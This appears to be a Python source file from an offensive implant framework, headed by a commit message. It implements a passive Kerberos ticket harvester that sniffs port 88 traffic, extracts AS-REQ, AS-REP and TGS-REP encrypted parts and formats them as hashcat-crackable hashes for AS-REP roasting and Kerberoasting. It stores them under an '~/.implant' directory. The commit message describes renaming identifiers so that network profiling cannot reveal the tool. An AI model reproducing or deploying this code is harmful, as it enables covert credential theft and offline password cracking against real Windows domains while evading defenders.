ffd384f64b
Replace all sensor.* logger namespaces with __name__ (generic module identifiers instead of discoverable 'sensor.*' prefixes). Change hardcoded 'bb' API user to 'admin' in config and code defaults. Change hardcoded relay_user 'bb' to 'operator' — prevents network profiling from exposing tool identity via SSH config. Fixes #457, #458, #459
752 lines
25 KiB
Python
752 lines
25 KiB
Python
#!/usr/bin/env python3
|
|
"""Passive Kerberos ticket harvester for offline cracking.
|
|
|
|
Parses Kerberos traffic on port 88:
|
|
- AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500)
|
|
- AS-REP: extract hash for AS-REP roasting (hashcat mode 18200)
|
|
- TGS-REP: extract hash for Kerberoasting (hashcat mode 13100)
|
|
|
|
Also identifies domain controllers, realms, and SPNs.
|
|
Publishes TICKET_HARVESTED events immediately on capture.
|
|
"""
|
|
|
|
import logging
|
|
import os
|
|
import socket
|
|
import sqlite3
|
|
import struct
|
|
import threading
|
|
import time
|
|
from pathlib import Path
|
|
from typing import Optional
|
|
|
|
from modules.base import BaseModule
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
# Kerberos message types (application tags)
|
|
KRB_AS_REQ = 10
|
|
KRB_AS_REP = 11
|
|
KRB_TGS_REQ = 12
|
|
KRB_TGS_REP = 13
|
|
KRB_ERROR = 30
|
|
|
|
# Encryption types
|
|
ETYPE_AES256_CTS = 18
|
|
ETYPE_AES128_CTS = 17
|
|
ETYPE_RC4_HMAC = 23
|
|
ETYPE_DES_CBC_MD5 = 3
|
|
|
|
# Hashcat modes
|
|
HASHCAT_AS_REQ_ETYPE23 = 7500
|
|
HASHCAT_AS_REP_ROAST = 18200
|
|
HASHCAT_KERBEROAST_RC4 = 13100
|
|
HASHCAT_KERBEROAST_AES256 = 19700
|
|
HASHCAT_KERBEROAST_AES128 = 19600
|
|
|
|
|
|
class KerberosHarvester(BaseModule):
|
|
"""Harvest Kerberos tickets from wire for offline cracking."""
|
|
|
|
name = "kerberos_harvester"
|
|
module_type = "passive"
|
|
priority = 80
|
|
requires_root = True
|
|
requires_capture_bus = True
|
|
|
|
BATCH_SIZE = 50
|
|
FLUSH_INTERVAL = 30
|
|
|
|
def __init__(self, bus, state, config, engine=None):
|
|
super().__init__(bus, state, config, engine)
|
|
self._capture_bus = None
|
|
self._sub_queue = None
|
|
self._reader_thread: Optional[threading.Thread] = None
|
|
self._flusher_thread: Optional[threading.Thread] = None
|
|
self._buffer = []
|
|
self._buffer_lock = threading.Lock()
|
|
self._db_path = ""
|
|
self._db_conn: Optional[sqlite3.Connection] = None
|
|
self._total_tickets = 0
|
|
self._realms = set()
|
|
self._dcs = set()
|
|
|
|
# ------------------------------------------------------------------
|
|
# BaseModule interface
|
|
# ------------------------------------------------------------------
|
|
|
|
def start(self) -> None:
|
|
if self._running:
|
|
return
|
|
|
|
self._capture_bus = self.config.get("capture_bus")
|
|
if not self._capture_bus:
|
|
logger.error("KerberosHarvester requires capture_bus in config")
|
|
return
|
|
|
|
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
|
|
self._db_path = os.path.join(base_dir, "kerberos_tickets.db")
|
|
Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True)
|
|
self._init_db()
|
|
|
|
self._sub_queue = self._capture_bus.subscribe(
|
|
name=self.name, bpf_filter="port 88", queue_depth=5000
|
|
)
|
|
|
|
self._running = True
|
|
self._pid = os.getpid()
|
|
self._start_time = time.time()
|
|
|
|
self._reader_thread = threading.Thread(
|
|
target=self._read_packets, daemon=True, name="sensor-kerb-reader"
|
|
)
|
|
self._reader_thread.start()
|
|
|
|
self._flusher_thread = threading.Thread(
|
|
target=self._flush_loop, daemon=True, name="sensor-kerb-flusher"
|
|
)
|
|
self._flusher_thread.start()
|
|
|
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
|
logger.info("KerberosHarvester started — monitoring port 88")
|
|
|
|
def stop(self) -> None:
|
|
if not self._running:
|
|
return
|
|
self._running = False
|
|
|
|
if self._capture_bus:
|
|
self._capture_bus.unsubscribe(self.name)
|
|
|
|
self._flush_buffer()
|
|
if self._db_conn:
|
|
self._db_conn.close()
|
|
self._db_conn = None
|
|
|
|
self.state.set_module_status(self.name, "stopped")
|
|
logger.info(
|
|
"KerberosHarvester stopped — %d tickets, %d realms, %d DCs",
|
|
self._total_tickets, len(self._realms), len(self._dcs),
|
|
)
|
|
|
|
def status(self) -> dict:
|
|
return {
|
|
"running": self._running,
|
|
"pid": self._pid,
|
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
|
"total_tickets": self._total_tickets,
|
|
"realms": list(self._realms),
|
|
"domain_controllers": list(self._dcs),
|
|
"buffer_size": len(self._buffer),
|
|
}
|
|
|
|
def configure(self, config: dict) -> None:
|
|
self.config.update(config)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Database
|
|
# ------------------------------------------------------------------
|
|
|
|
def _init_db(self) -> None:
|
|
self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False)
|
|
self._db_conn.execute("PRAGMA journal_mode=WAL")
|
|
self._db_conn.execute("PRAGMA synchronous=NORMAL")
|
|
self._db_conn.executescript("""
|
|
CREATE TABLE IF NOT EXISTS kerberos_tickets (
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|
timestamp REAL NOT NULL,
|
|
source_ip TEXT NOT NULL,
|
|
dc_ip TEXT NOT NULL,
|
|
realm TEXT,
|
|
username TEXT,
|
|
spn TEXT,
|
|
ticket_type TEXT NOT NULL,
|
|
hashcat_mode INTEGER,
|
|
hash_value TEXT
|
|
);
|
|
CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username);
|
|
CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm);
|
|
CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type);
|
|
CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp);
|
|
""")
|
|
self._db_conn.commit()
|
|
|
|
# ------------------------------------------------------------------
|
|
# Packet reader
|
|
# ------------------------------------------------------------------
|
|
|
|
def _read_packets(self) -> None:
|
|
while self._running:
|
|
result = self._sub_queue.get(timeout=1.0)
|
|
if result is None:
|
|
continue
|
|
ts, raw_packet = result
|
|
try:
|
|
self._parse_packet(ts, raw_packet)
|
|
except Exception:
|
|
pass
|
|
|
|
def _parse_packet(self, ts: float, raw: bytes) -> None:
|
|
"""Parse Ethernet->IP->TCP/UDP->Kerberos."""
|
|
if len(raw) < 14:
|
|
return
|
|
|
|
eth_type = struct.unpack("!H", raw[12:14])[0]
|
|
ip_offset = 14
|
|
if eth_type == 0x8100:
|
|
if len(raw) < 18:
|
|
return
|
|
eth_type = struct.unpack("!H", raw[16:18])[0]
|
|
ip_offset = 18
|
|
|
|
if eth_type != 0x0800:
|
|
return
|
|
|
|
if len(raw) < ip_offset + 20:
|
|
return
|
|
|
|
ip_hdr = raw[ip_offset:]
|
|
ihl = (ip_hdr[0] & 0x0F) * 4
|
|
ip_proto = ip_hdr[9]
|
|
src_ip = socket.inet_ntoa(ip_hdr[12:16])
|
|
dst_ip = socket.inet_ntoa(ip_hdr[16:20])
|
|
|
|
if ip_proto == 6: # TCP
|
|
tcp_offset = ip_offset + ihl
|
|
if len(raw) < tcp_offset + 20:
|
|
return
|
|
src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4])
|
|
if src_port != 88 and dst_port != 88:
|
|
return
|
|
tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4
|
|
payload = raw[tcp_offset + tcp_hdr_len:]
|
|
# TCP Kerberos has 4-byte length prefix
|
|
if len(payload) > 4:
|
|
payload = payload[4:]
|
|
elif ip_proto == 17: # UDP
|
|
udp_offset = ip_offset + ihl
|
|
if len(raw) < udp_offset + 8:
|
|
return
|
|
src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4])
|
|
if src_port != 88 and dst_port != 88:
|
|
return
|
|
payload = raw[udp_offset + 8:]
|
|
else:
|
|
return
|
|
|
|
if len(payload) < 10:
|
|
return
|
|
|
|
# Determine direction: requests go TO port 88, responses come FROM port 88
|
|
if dst_port == 88:
|
|
client_ip = src_ip
|
|
dc_ip = dst_ip
|
|
else:
|
|
client_ip = dst_ip
|
|
dc_ip = src_ip
|
|
|
|
self._dcs.add(dc_ip)
|
|
self._parse_kerberos(ts, client_ip, dc_ip, payload)
|
|
|
|
def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str,
|
|
data: bytes) -> None:
|
|
"""Parse ASN.1/DER-encoded Kerberos message."""
|
|
if len(data) < 2:
|
|
return
|
|
|
|
# Kerberos messages use ASN.1 application tags
|
|
# AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11]
|
|
# TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13]
|
|
tag = data[0]
|
|
if tag & 0xE0 != 0x60: # Application constructed
|
|
return
|
|
|
|
msg_type = tag & 0x1F
|
|
|
|
# Read outer length
|
|
_, offset = self._asn1_length(data, 1)
|
|
if offset < 0 or offset >= len(data):
|
|
return
|
|
|
|
if msg_type == KRB_AS_REQ:
|
|
self._parse_as_req(ts, client_ip, dc_ip, data, offset)
|
|
elif msg_type == KRB_AS_REP:
|
|
self._parse_as_rep(ts, client_ip, dc_ip, data, offset)
|
|
elif msg_type == KRB_TGS_REP:
|
|
self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset)
|
|
|
|
def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str,
|
|
data: bytes, offset: int) -> None:
|
|
"""Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500)."""
|
|
realm = ""
|
|
username = ""
|
|
enc_timestamp = ""
|
|
etype = 0
|
|
|
|
# Walk the ASN.1 SEQUENCE looking for known context tags
|
|
# AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4]
|
|
seq_offset = self._enter_sequence(data, offset)
|
|
if seq_offset < 0:
|
|
return
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed
|
|
break
|
|
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 3: # padata
|
|
# Look for PA-ENC-TIMESTAMP (type 2)
|
|
enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data)
|
|
if enc_ts:
|
|
enc_timestamp = enc_ts
|
|
etype = found_etype
|
|
|
|
elif ctx_num == 4: # req-body (KDC-REQ-BODY)
|
|
r, u = self._extract_req_body_info(ctx_data)
|
|
if r:
|
|
realm = r
|
|
if u:
|
|
username = u
|
|
|
|
pos = next_pos + length
|
|
|
|
if realm:
|
|
self._realms.add(realm)
|
|
|
|
# If we got an encrypted timestamp, emit for hashcat 7500
|
|
if enc_timestamp and username:
|
|
hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500
|
|
hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}"
|
|
|
|
self._emit_ticket(
|
|
ts, client_ip, dc_ip, realm, username, "",
|
|
"AS-REQ", hashcat_mode, hash_value,
|
|
)
|
|
|
|
def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str,
|
|
data: bytes, offset: int) -> None:
|
|
"""Parse AS-REP for AS-REP roasting hash (mode 18200)."""
|
|
realm = ""
|
|
username = ""
|
|
enc_part = ""
|
|
etype = 0
|
|
|
|
seq_offset = self._enter_sequence(data, offset)
|
|
if seq_offset < 0:
|
|
return
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 3: # crealm
|
|
realm = self._read_string(ctx_data)
|
|
elif ctx_num == 4: # cname
|
|
username = self._extract_principal_name(ctx_data)
|
|
elif ctx_num == 6: # enc-part (EncryptedData)
|
|
etype, enc_part = self._extract_encrypted_data(ctx_data)
|
|
|
|
pos = next_pos + length
|
|
|
|
if realm:
|
|
self._realms.add(realm)
|
|
|
|
if enc_part and username:
|
|
if etype == ETYPE_RC4_HMAC:
|
|
hashcat_mode = HASHCAT_AS_REP_ROAST
|
|
else:
|
|
hashcat_mode = HASHCAT_AS_REP_ROAST
|
|
hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}"
|
|
|
|
self._emit_ticket(
|
|
ts, client_ip, dc_ip, realm, username, "",
|
|
"AS-REP", hashcat_mode, hash_value,
|
|
)
|
|
|
|
def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str,
|
|
data: bytes, offset: int) -> None:
|
|
"""Parse TGS-REP for Kerberoasting hash (mode 13100)."""
|
|
realm = ""
|
|
username = ""
|
|
spn = ""
|
|
enc_part = ""
|
|
etype = 0
|
|
|
|
seq_offset = self._enter_sequence(data, offset)
|
|
if seq_offset < 0:
|
|
return
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 3: # crealm
|
|
realm = self._read_string(ctx_data)
|
|
elif ctx_num == 4: # cname
|
|
username = self._extract_principal_name(ctx_data)
|
|
elif ctx_num == 5: # ticket — contains the SPN and enc-part
|
|
t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data)
|
|
if t_spn:
|
|
spn = t_spn
|
|
if t_enc:
|
|
enc_part = t_enc
|
|
etype = t_etype
|
|
|
|
pos = next_pos + length
|
|
|
|
if realm:
|
|
self._realms.add(realm)
|
|
|
|
if enc_part and (username or spn):
|
|
if etype == ETYPE_RC4_HMAC:
|
|
hashcat_mode = HASHCAT_KERBEROAST_RC4
|
|
elif etype == ETYPE_AES256_CTS:
|
|
hashcat_mode = HASHCAT_KERBEROAST_AES256
|
|
elif etype == ETYPE_AES128_CTS:
|
|
hashcat_mode = HASHCAT_KERBEROAST_AES128
|
|
else:
|
|
hashcat_mode = HASHCAT_KERBEROAST_RC4
|
|
|
|
hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}"
|
|
|
|
self._emit_ticket(
|
|
ts, client_ip, dc_ip, realm, username, spn,
|
|
"TGS-REP", hashcat_mode, hash_value,
|
|
)
|
|
|
|
# ------------------------------------------------------------------
|
|
# ASN.1 helpers
|
|
# ------------------------------------------------------------------
|
|
|
|
@staticmethod
|
|
def _asn1_length(data: bytes, offset: int) -> tuple:
|
|
"""Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset)."""
|
|
if offset >= len(data):
|
|
return -1, offset
|
|
first = data[offset]
|
|
if first & 0x80 == 0:
|
|
return first, offset + 1
|
|
num_bytes = first & 0x7F
|
|
if num_bytes == 0 or offset + 1 + num_bytes > len(data):
|
|
return -1, offset
|
|
length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big")
|
|
return length, offset + 1 + num_bytes
|
|
|
|
def _enter_sequence(self, data: bytes, offset: int) -> int:
|
|
"""Skip into a SEQUENCE tag and return offset to first element, or -1."""
|
|
if offset >= len(data) or data[offset] != 0x30:
|
|
return -1
|
|
_, new_offset = self._asn1_length(data, offset + 1)
|
|
return new_offset
|
|
|
|
def _read_string(self, data: bytes) -> str:
|
|
"""Read a GeneralString/UTF8String from ASN.1 data."""
|
|
if len(data) < 2:
|
|
return ""
|
|
# Skip tag byte
|
|
tag = data[0]
|
|
length, offset = self._asn1_length(data, 1)
|
|
if length < 0 or offset + length > len(data):
|
|
return ""
|
|
return data[offset:offset + length].decode("utf-8", errors="replace")
|
|
|
|
def _extract_principal_name(self, data: bytes) -> str:
|
|
"""Extract principal name from a PrincipalName SEQUENCE."""
|
|
# PrincipalName ::= SEQUENCE { name-type[0], name-string[1] }
|
|
seq_offset = self._enter_sequence(data, 0)
|
|
if seq_offset < 0:
|
|
return ""
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
if ctx_num == 1: # name-string SEQUENCE OF GeneralString
|
|
name_data = data[next_pos:next_pos + length]
|
|
names = self._extract_string_sequence(name_data)
|
|
return "/".join(names) if names else ""
|
|
|
|
pos = next_pos + length
|
|
return ""
|
|
|
|
def _extract_string_sequence(self, data: bytes) -> list:
|
|
"""Extract strings from a SEQUENCE OF GeneralString."""
|
|
result = []
|
|
seq_offset = self._enter_sequence(data, 0)
|
|
if seq_offset < 0:
|
|
return result
|
|
|
|
pos = seq_offset
|
|
while pos < len(data):
|
|
if pos >= len(data):
|
|
break
|
|
tag = data[pos]
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0 or next_pos + length > len(data):
|
|
break
|
|
try:
|
|
s = data[next_pos:next_pos + length].decode("utf-8", errors="replace")
|
|
result.append(s)
|
|
except Exception:
|
|
pass
|
|
pos = next_pos + length
|
|
return result
|
|
|
|
def _extract_encrypted_data(self, data: bytes) -> tuple:
|
|
"""Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher)."""
|
|
seq_offset = self._enter_sequence(data, 0)
|
|
if seq_offset < 0:
|
|
return 0, ""
|
|
|
|
etype = 0
|
|
cipher_hex = ""
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 0: # etype INTEGER
|
|
etype = self._read_integer(ctx_data)
|
|
elif ctx_num == 2: # cipher OCTET STRING
|
|
if len(ctx_data) >= 2:
|
|
c_len, c_off = self._asn1_length(ctx_data, 1)
|
|
if c_len > 0 and c_off + c_len <= len(ctx_data):
|
|
cipher_hex = ctx_data[c_off:c_off + c_len].hex()
|
|
|
|
pos = next_pos + length
|
|
|
|
return etype, cipher_hex
|
|
|
|
def _extract_ticket_info(self, data: bytes) -> tuple:
|
|
"""Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex)."""
|
|
# Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] }
|
|
if len(data) < 2:
|
|
return "", 0, ""
|
|
|
|
# Skip application tag
|
|
if data[0] & 0xE0 == 0x60:
|
|
_, offset = self._asn1_length(data, 1)
|
|
else:
|
|
offset = 0
|
|
|
|
seq_offset = self._enter_sequence(data, offset)
|
|
if seq_offset < 0:
|
|
return "", 0, ""
|
|
|
|
spn = ""
|
|
etype = 0
|
|
cipher_hex = ""
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 2: # sname (PrincipalName)
|
|
spn = self._extract_principal_name(ctx_data)
|
|
elif ctx_num == 3: # enc-part (EncryptedData)
|
|
etype, cipher_hex = self._extract_encrypted_data(ctx_data)
|
|
|
|
pos = next_pos + length
|
|
|
|
return spn, etype, cipher_hex
|
|
|
|
def _extract_padata_enc_timestamp(self, data: bytes) -> tuple:
|
|
"""Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype)."""
|
|
seq_offset = self._enter_sequence(data, 0)
|
|
if seq_offset < 0:
|
|
return "", 0
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
# Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] }
|
|
if data[pos] != 0x30:
|
|
break
|
|
pa_len, pa_off = self._asn1_length(data, pos + 1)
|
|
if pa_len < 0:
|
|
break
|
|
|
|
pa_data = data[pa_off:pa_off + pa_len]
|
|
pa_type = 0
|
|
pa_value = b""
|
|
|
|
inner_pos = 0
|
|
while inner_pos < len(pa_data) - 2:
|
|
ctx_tag = pa_data[inner_pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
ctx_num = ctx_tag & 0x1F
|
|
il, ip = self._asn1_length(pa_data, inner_pos + 1)
|
|
if il < 0:
|
|
break
|
|
|
|
if ctx_num == 1: # padata-type
|
|
pa_type = self._read_integer(pa_data[ip:ip + il])
|
|
elif ctx_num == 2: # padata-value
|
|
pa_value = pa_data[ip:ip + il]
|
|
|
|
inner_pos = ip + il
|
|
|
|
if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP
|
|
etype, cipher = self._extract_encrypted_data(pa_value)
|
|
if cipher:
|
|
return cipher, etype
|
|
|
|
pos = pa_off + pa_len
|
|
|
|
return "", 0
|
|
|
|
def _extract_req_body_info(self, data: bytes) -> tuple:
|
|
"""Extract realm and cname from KDC-REQ-BODY. Returns (realm, username)."""
|
|
seq_offset = self._enter_sequence(data, 0)
|
|
if seq_offset < 0:
|
|
return "", ""
|
|
|
|
realm = ""
|
|
username = ""
|
|
|
|
pos = seq_offset
|
|
while pos < len(data) - 2:
|
|
ctx_tag = data[pos]
|
|
if ctx_tag & 0xC0 != 0xA0:
|
|
break
|
|
ctx_num = ctx_tag & 0x1F
|
|
length, next_pos = self._asn1_length(data, pos + 1)
|
|
if length < 0:
|
|
break
|
|
|
|
ctx_data = data[next_pos:next_pos + length]
|
|
|
|
if ctx_num == 1: # cname
|
|
username = self._extract_principal_name(ctx_data)
|
|
elif ctx_num == 2: # realm
|
|
realm = self._read_string(ctx_data)
|
|
|
|
pos = next_pos + length
|
|
|
|
return realm, username
|
|
|
|
def _read_integer(self, data: bytes) -> int:
|
|
"""Read an ASN.1 INTEGER value."""
|
|
if len(data) < 2:
|
|
return 0
|
|
tag = data[0]
|
|
if tag != 0x02:
|
|
return 0
|
|
length, offset = self._asn1_length(data, 1)
|
|
if length < 0 or offset + length > len(data):
|
|
return 0
|
|
return int.from_bytes(data[offset:offset + length], "big", signed=True)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Ticket emission
|
|
# ------------------------------------------------------------------
|
|
|
|
def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str,
|
|
realm: str, username: str, spn: str,
|
|
ticket_type: str, hashcat_mode: int,
|
|
hash_value: str) -> None:
|
|
self._total_tickets += 1
|
|
|
|
record = (ts, client_ip, dc_ip, realm, username, spn,
|
|
ticket_type, hashcat_mode, hash_value)
|
|
|
|
with self._buffer_lock:
|
|
self._buffer.append(record)
|
|
if len(self._buffer) >= self.BATCH_SIZE:
|
|
self._flush_buffer()
|
|
|
|
self.bus.emit("TICKET_HARVESTED", {
|
|
"source_ip": client_ip,
|
|
"dc_ip": dc_ip,
|
|
"realm": realm,
|
|
"username": username,
|
|
"spn": spn,
|
|
"ticket_type": ticket_type,
|
|
"hashcat_mode": hashcat_mode,
|
|
}, source_module=self.name)
|
|
|
|
logger.info(
|
|
"TICKET: %s %s@%s -> %s (hashcat -m %d)",
|
|
ticket_type, username, realm, dc_ip, hashcat_mode,
|
|
)
|
|
|
|
# ------------------------------------------------------------------
|
|
# Buffer flush
|
|
# ------------------------------------------------------------------
|
|
|
|
def _flush_loop(self) -> None:
|
|
while self._running:
|
|
time.sleep(self.FLUSH_INTERVAL)
|
|
try:
|
|
self._flush_buffer()
|
|
except Exception:
|
|
logger.exception("Kerberos flush error")
|
|
|
|
def _flush_buffer(self) -> None:
|
|
with self._buffer_lock:
|
|
batch = list(self._buffer)
|
|
self._buffer.clear()
|
|
|
|
if not batch or not self._db_conn:
|
|
return
|
|
|
|
try:
|
|
self._db_conn.executemany(
|
|
"INSERT INTO kerberos_tickets "
|
|
"(timestamp, source_ip, dc_ip, realm, username, spn, "
|
|
"ticket_type, hashcat_mode, hash_value) "
|
|
"VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
|
batch,
|
|
)
|
|
self._db_conn.commit()
|
|
except Exception:
|
|
logger.exception("Failed to flush %d kerberos tickets", len(batch))
|